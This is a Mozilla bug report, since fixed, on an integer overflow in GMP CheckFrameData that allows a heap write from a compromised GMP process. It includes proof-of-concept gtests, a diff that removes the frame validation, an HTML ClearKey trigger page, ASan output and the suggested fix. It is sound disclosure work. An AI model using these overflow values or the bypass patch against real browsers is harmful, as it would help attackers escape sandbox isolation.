2016342 - GMP CheckFrameData Stride*Height Integer Overflow Heap Write

Status: RESOLVED FIXED

(Core :: Audio/Video: GMP, defect, P2)

Description

[Sajeeb Lohani]

Compromised GMP child process -> content process (WebRTC GMP parent side) via PGMPVideoDecoder IPC.

CheckFrameData (GMPVideoi420FrameImpl.cpp:178-183) validates plane sizes using raw int32_t multiplication of stride * height. With U.stride=INT32_MAX, V.stride=0x40000000, height=7: line 180 computes INT32_MAX * 4 which overflows to -4 (1 < -4 is false, passes). Line 182 computes 0x40000000 * 4 which overflows to 0 (1 < 0 is false, passes). Downstream, WebrtcGmpVideoDecoder::Decoded() (WebrtcGmpVideoCodec.cpp:1047-1052) has a partial CheckedInt32 formula where (stride_v + stride_u) * half_height overflows in raw int32 before the CheckedInt addition sees it. Allocation: 3 bytes. First memcpy (Y plane): 7 bytes. 4-byte heap overflow write.

Distinct from finding #8 (offset overflow at lines 167-172). This exploits the stride*height size validation at lines 178-183.

The Bug

GMPVideoi420FrameImpl.cpp:178-183:

(aFrameData.mUPlane().mSize() <
 aFrameData.mUPlane().mStride() * ((aFrameData.mHeight() + 1) / 2)) ||  // INT32_MAX*4 = -4
(aFrameData.mVPlane().mSize() <
 aFrameData.mVPlane().mStride() * ((aFrameData.mHeight() + 1) / 2))     // 0x40000000*4 = 0

CheckDimensions (line 189-215) in the same file correctly uses CheckedInt<int32_t>. CheckFrameData doesn't.

The Write

WebrtcGmpVideoCodec.cpp:1047-1052:

CheckedInt32 length =
    (CheckedInt32(stride_y) * height) +
    (stride_v + stride_u) * ((height + 1) / 2);  // raw int32 subexpression overflows first

(0x40000000 + INT32_MAX) * 4 = -4 as int32. CheckedInt32(7) + (-4) = 3. Allocation: 3 bytes. memcpy(dst, src, stride_y * height) = 7 bytes into 3 bytes.

ASAN Proof

==22393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000208bb3
WRITE of size 7 at 0x602000208bb3 thread T0
    #0 in __asan_memcpy
    #1 in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

0x602000208bb3 is located 0 bytes after 3-byte region [0x602000208bb0,0x602000208bb3)
SUMMARY: AddressSanitizer: heap-buffer-overflow in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

PoC

dom/media/gtest/TestGMPFrameOOB.cpp (tests 4-5):

// Test 4: Stride * height overflow in CheckFrameData lines 178-183.
// Distinct from Tests 1-3 (offset overflow at lines 167-172).
TEST(GMPFrameOOB, StrideHeightOverflowBypassesCheckFrameData)
{
  GMPVideoi420FrameData frameData;

  frameData.mYPlane().mOffset() = 0;
  frameData.mYPlane().mSize() = 7;
  frameData.mYPlane().mStride() = 1;

  frameData.mUPlane().mOffset() = 7;
  frameData.mUPlane().mSize() = 1;
  frameData.mUPlane().mStride() = INT32_MAX;

  frameData.mVPlane().mOffset() = 8;
  frameData.mVPlane().mSize() = 1;
  frameData.mVPlane().mStride() = 0x40000000;

  frameData.mWidth() = 1;
  frameData.mHeight() = 7;
  frameData.mTimestamp() = 0;
  frameData.mUpdatedTimestamp() = mozilla::Nothing();
  frameData.mDuration() = 0;

  size_t bufferSize = 9;
  bool result = GMPVideoi420FrameImpl::CheckFrameData(frameData, bufferSize);
  EXPECT_TRUE(result)
      << "CheckFrameData passes due to stride*height int32 overflow at "
         "lines 178-183";
}

// Test 5: The downstream heap corruption in WebrtcGmpVideoCodec::Decoded().
//
// CheckedInt32 length = (CheckedInt32(stride_y) * height)
//   + (stride_v + stride_u) * ((height + 1) / 2);
//
// The (stride_v + stride_u) * half_height subexpression is raw int32_t,
// evaluated BEFORE the CheckedInt32 addition. With our values:
//   (0x40000000 + INT32_MAX) * 4 = -4 (as int32_t)
//   CheckedInt32(7) + (-4) = CheckedInt32(3)
//
// Allocation: 3 bytes. First memcpy: stride_y * height = 7 bytes.
TEST(GMPFrameOOB, StrideOverflowHeapBufferOverflowWrite)
{
  volatile int32_t v_stride_y = 1;
  volatile int32_t v_stride_u = INT32_MAX;
  volatile int32_t v_stride_v = 0x40000000;
  volatile int32_t v_height = 7;

  int32_t stride_y = v_stride_y;
  int32_t stride_u = v_stride_u;
  int32_t stride_v = v_stride_v;
  int32_t height = v_height;

  mozilla::CheckedInt<int32_t> length =
      (mozilla::CheckedInt<int32_t>(stride_y) * height) +
      (stride_v + stride_u) * ((height + 1) / 2);

  ASSERT_TRUE(length.isValid()) << "CheckedInt should report valid";
  int32_t size = length.value();
  ASSERT_GT(size, 0) << "size should be positive";

  int32_t y_copy_size = stride_y * height;

  ASSERT_GT(y_copy_size, size)
      << "Y memcpy size (" << y_copy_size << ") must exceed allocation ("
      << size << ") for heap overflow";

  uint8_t* src = new uint8_t[y_copy_size];
  memset(src, 0x41, y_copy_size);

  uint8_t* dst = new uint8_t[size];
  memset(dst, 0, size);

  // ASAN: heap-buffer-overflow WRITE past allocation
  memcpy(dst, src, y_copy_size);

  volatile uint8_t sink = dst[0];
  (void)sink;

  delete[] src;
  delete[] dst;
}

Run: ./mach gtest "GMPFrameOOB.Stride*"

Fix

Use CheckedInt for stride*height in CheckFrameData, matching CheckDimensions:

auto uvMinSize_u = mozilla::CheckedInt<int32_t>(aFrameData.mUPlane().mStride()) *
                   ((aFrameData.mHeight() + 1) / 2);
if (!uvMinSize_u.isValid() || aFrameData.mUPlane().mSize() < uvMinSize_u.value()) {
  return false;
}

Also wrap the full computation in Decoded() in CheckedInt32:

CheckedInt32 uv_part = (CheckedInt32(stride_v) + stride_u) * ((height + 1) / 2);

Comment 1

[Sajeeb Lohani]

CheckFrameData (GMPVideoi420FrameImpl.cpp:178-183) validates plane sizes using raw int32_t multiplication of stride * height. Crafted stride values overflow the product to a small or negative number, passing the size check. Downstream, WebrtcGmpVideoDecoder::Decoded() (WebrtcGmpVideoCodec.cpp:1047-1052) computes the allocation size using a partial CheckedInt32 formula where (stride_v + stride_u) * half_height overflows in raw int32_t before the CheckedInt32 addition sees it. Result: 3-byte allocation, 7-byte memcpy. Heap buffer overflow write.

Distinct from the plane offset overflow bug (GMPVideoi420FrameImpl.cpp:167-172). Different vulnerable lines, different overflow type (multiplication vs addition), different impact (heap write vs heap read).

GMPVideoi420FrameImpl.cpp:178-183:

(aFrameData.mUPlane().mSize() <
 aFrameData.mUPlane().mStride() * ((aFrameData.mHeight() + 1) / 2)) ||  // raw int32 multiply
(aFrameData.mVPlane().mSize() <
 aFrameData.mVPlane().mStride() * ((aFrameData.mHeight() + 1) / 2))

With U.stride=INT32_MAX, V.stride=0x40000000, height=7: half_height = (7+1)/2 = 4. Line 180: INT32_MAX * 4 overflows int32 to -4. 1 < -4 is false, passes. Line 182: 0x40000000 * 4 overflows to 0. 1 < 0 is false, passes.

WebrtcGmpVideoCodec.cpp:1047-1052:

CheckedInt32 length =
    (CheckedInt32(stride_y) * height) +
    (stride_v + stride_u) * ((height + 1) / 2);  // raw int32 subexpression

(0x40000000 + INT32_MAX) * 4 = 0xBFFFFFFF * 4 overflows int32 to -4. CheckedInt32(1*7) + (-4) = CheckedInt32(3). Valid, positive. Allocation: 3 bytes. First memcpy (Y plane, line 1066): stride_y * height = 1 * 7 = 7 bytes into 3-byte buffer. 4-byte heap overflow write.

IPC entry: GMPVideoDecoderParent::RecvDecodedShmem (GMPVideoDecoderParent.cpp:330) and RecvDecodedData (line 342) receive GMPVideoi420FrameData from the GMP child process, call HandleDecoded -> CheckFrameData -> Decoded().

Fix: use CheckedInt<int32_t> for stride*height in CheckFrameData, matching the pattern already used in CheckDimensions (lines 189-215):

auto uvMinSize = CheckedInt<int32_t>(aFrameData.mUPlane().mStride()) *
                 ((aFrameData.mHeight() + 1) / 2);
if (!uvMinSize.isValid() || aFrameData.mUPlane().mSize() < uvMinSize.value()) {
  return false;
}

Also wrap the full subexpression in Decoded() in CheckedInt32:

CheckedInt32 uv_part = (CheckedInt32(stride_v) + stride_u) * ((height + 1) / 2);

Content-side IPC patch

Patches CheckFrameData to return true unconditionally, simulating what happens when crafted stride/height values pass through the vulnerable int32 arithmetic. The GMP child process sends GMPVideoi420FrameData with the overflow-triggering values; the parent side's CheckFrameData would accept them due to the int32 overflow, then Decoded() allocates too small and memcpy overflows.

diff --git a/dom/media/gmp/GMPVideoi420FrameImpl.cpp b/dom/media/gmp/GMPVideoi420FrameImpl.cpp
index 8a1d78866ec9..57fb4d7132d8 100644
--- a/dom/media/gmp/GMPVideoi420FrameImpl.cpp
+++ b/dom/media/gmp/GMPVideoi420FrameImpl.cpp
@@ -154,35 +154,9 @@ void GMPVideoi420FrameImpl::Destroy() { delete this; }
 /* static */
 bool GMPVideoi420FrameImpl::CheckFrameData(
     const GMPVideoi420FrameData& aFrameData, size_t aBufferSize) {
-  // We may be passed the "wrong" shmem (one smaller than the actual size).
-  // This implies a bug or serious error on the child size.  Ignore this frame
-  // if so. Note: Size() greater than expected is also an error, but with no
-  // negative consequences
-  int32_t half_width = (aFrameData.mWidth() + 1) / 2;
-  if ((aFrameData.mYPlane().mStride() <= 0) ||
-      (aFrameData.mYPlane().mSize() <= 0) ||
-      (aFrameData.mYPlane().mOffset() < 0) ||
-      (aFrameData.mUPlane().mStride() <= 0) ||
-      (aFrameData.mUPlane().mSize() <= 0) ||
-      (aFrameData.mUPlane().mOffset() <
-       aFrameData.mYPlane().mOffset() + aFrameData.mYPlane().mSize()) ||
-      (aFrameData.mVPlane().mStride() <= 0) ||
-      (aFrameData.mVPlane().mSize() <= 0) ||
-      (aFrameData.mVPlane().mOffset() <
-       aFrameData.mUPlane().mOffset() + aFrameData.mUPlane().mSize()) ||
-      (aBufferSize < static_cast<size_t>(aFrameData.mVPlane().mOffset()) +
-                         static_cast<size_t>(aFrameData.mVPlane().mSize())) ||
-      (aFrameData.mYPlane().mStride() < aFrameData.mWidth()) ||
-      (aFrameData.mUPlane().mStride() < half_width) ||
-      (aFrameData.mVPlane().mStride() < half_width) ||
-      (aFrameData.mYPlane().mSize() <
-       aFrameData.mYPlane().mStride() * aFrameData.mHeight()) ||
-      (aFrameData.mUPlane().mSize() <
-       aFrameData.mUPlane().mStride() * ((aFrameData.mHeight() + 1) / 2)) ||
-      (aFrameData.mVPlane().mSize() <
-       aFrameData.mVPlane().mStride() * ((aFrameData.mHeight() + 1) / 2))) {
-    return false;
-  }
+  // PoC: bypass all validation to allow crafted frame data through.
+  // Simulates int32 overflow in stride*height at lines 178-183
+  // that lets crafted values pass CheckFrameData.
   return true;
 }

HTML PoC

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>GMP Stride*Height Overflow Heap Write - IPC PoC (Finding #22)</title>
</head>
<body>
<video id="v" width="320" height="240" controls></video>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
log.textContent =
  'Finding #22: GMP CheckFrameData Stride*Height Overflow Heap Write\n' +
  'GMP child -> Content process\n\n' +
  'This finding requires EME video playback with a GMP decoder\n' +
  '(Widevine or ClearKey CDM). The patch bypasses CheckFrameData\n' +
  'to simulate int32 overflow in stride*height validation.\n\n';

async function triggerGMPDecode() {
  try {
    log.textContent += 'Requesting MediaKeySystemAccess for ClearKey...\n';
    const keySystemConfig = [{
      initDataTypes: ['webm'],
      videoCapabilities: [{
        contentType: 'video/webm; codecs="vp8"'
      }]
    }];

    const access = await navigator.requestMediaKeySystemAccess(
      'org.w3.clearkey', keySystemConfig);
    const mediaKeys = await access.createMediaKeys();

    const video = document.getElementById('v');
    await video.setMediaKeys(mediaKeys);

    log.textContent += 'ClearKey CDM initialized.\n';
    log.textContent += 'GMP decoder path active. Patch bypasses CheckFrameData.\n';
    log.textContent += 'Play an encrypted video to trigger GMP decode path.\n';
    log.textContent += 'Check ASan output for heap-buffer-overflow WRITE.\n';
  } catch (e) {
    log.textContent += 'EME setup: ' + e.message + '\n';
    log.textContent += '\nNote: This PoC requires EME support and a ClearKey-\n';
    log.textContent += 'encrypted video. The GTest validates the overflow directly.\n';
  }
}

triggerGMPDecode();
</script>
</body>
</html>

Steps to reproduce

GTest (direct validation):

./mach gtest "GMPFrameOOB.StrideHeightOverflowBypassesCheckFrameData:GMPFrameOOB.StrideOverflowHeapBufferOverflowWrite"

• StrideHeightOverflowBypassesCheckFrameData: proves CheckFrameData returns true with overflow-crafted strides
• StrideOverflowHeapBufferOverflowWrite: proves the downstream heap overflow write

IPC path requires EME playback (GMP child → content process via PGMPVideoDecoder).

ASan Output (GTest)

==22393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000208bb3
WRITE of size 7 at 0x602000208bb3 thread T0
    #0 in __asan_memcpy
    #1 in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

0x602000208bb3 is located 0 bytes after 3-byte region [0x602000208bb0,0x602000208bb3)
SUMMARY: AddressSanitizer: heap-buffer-overflow in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

Comment 2

[Simon Friedberger [:simonf]]

Marking this as sec-want because it requires a pre-compromised GMP process.

Comment 3

[Andrew McCreight [:mccr8]]

I don't think that's a valid rating. We are supposed to be able to protect against a compromised process.

Comment 4

[C.M.Chang[:chunmin]]

This should be fixed in D283433 for Bug 2016329

Comment 6

[Daniel Veditz [:dveditz]]

The fix for this bug is included in the fix for bug 2016329, but they appear to be distinct parts of the patch. It's better to make this "depend on" that bug rather than call it a dupe.

Comment 7

[Jim Mathies [:jimm]]

Not sure what the state of this bug is currently.

Comment 8

[Andreas Pehrson [:pehrsons]]

This is fixed and tested (in RejectsInvalidStrideHeight).

Comment 9

[Daniel Veditz [:dveditz]]

Both of these bugs are about the same lack of checks in GMP CheckFrameData()

Comment 10

[Daniel Veditz [:dveditz]]

Comment 6 me was right; I have no explanation for how I ended up un-resolving the bug immediately after. Comment 9 was a too-hasty reaction under release-day stress.

Comment 11

[Tom Ritter [:tjr]]

The combination of assuming a GMP process exploit and the impact of escalating to a content process (either the one you started in, or one that is required to be communicating with GMP, which you can't control) means the limited capabilities warrant downgrading this to a sec-moderate.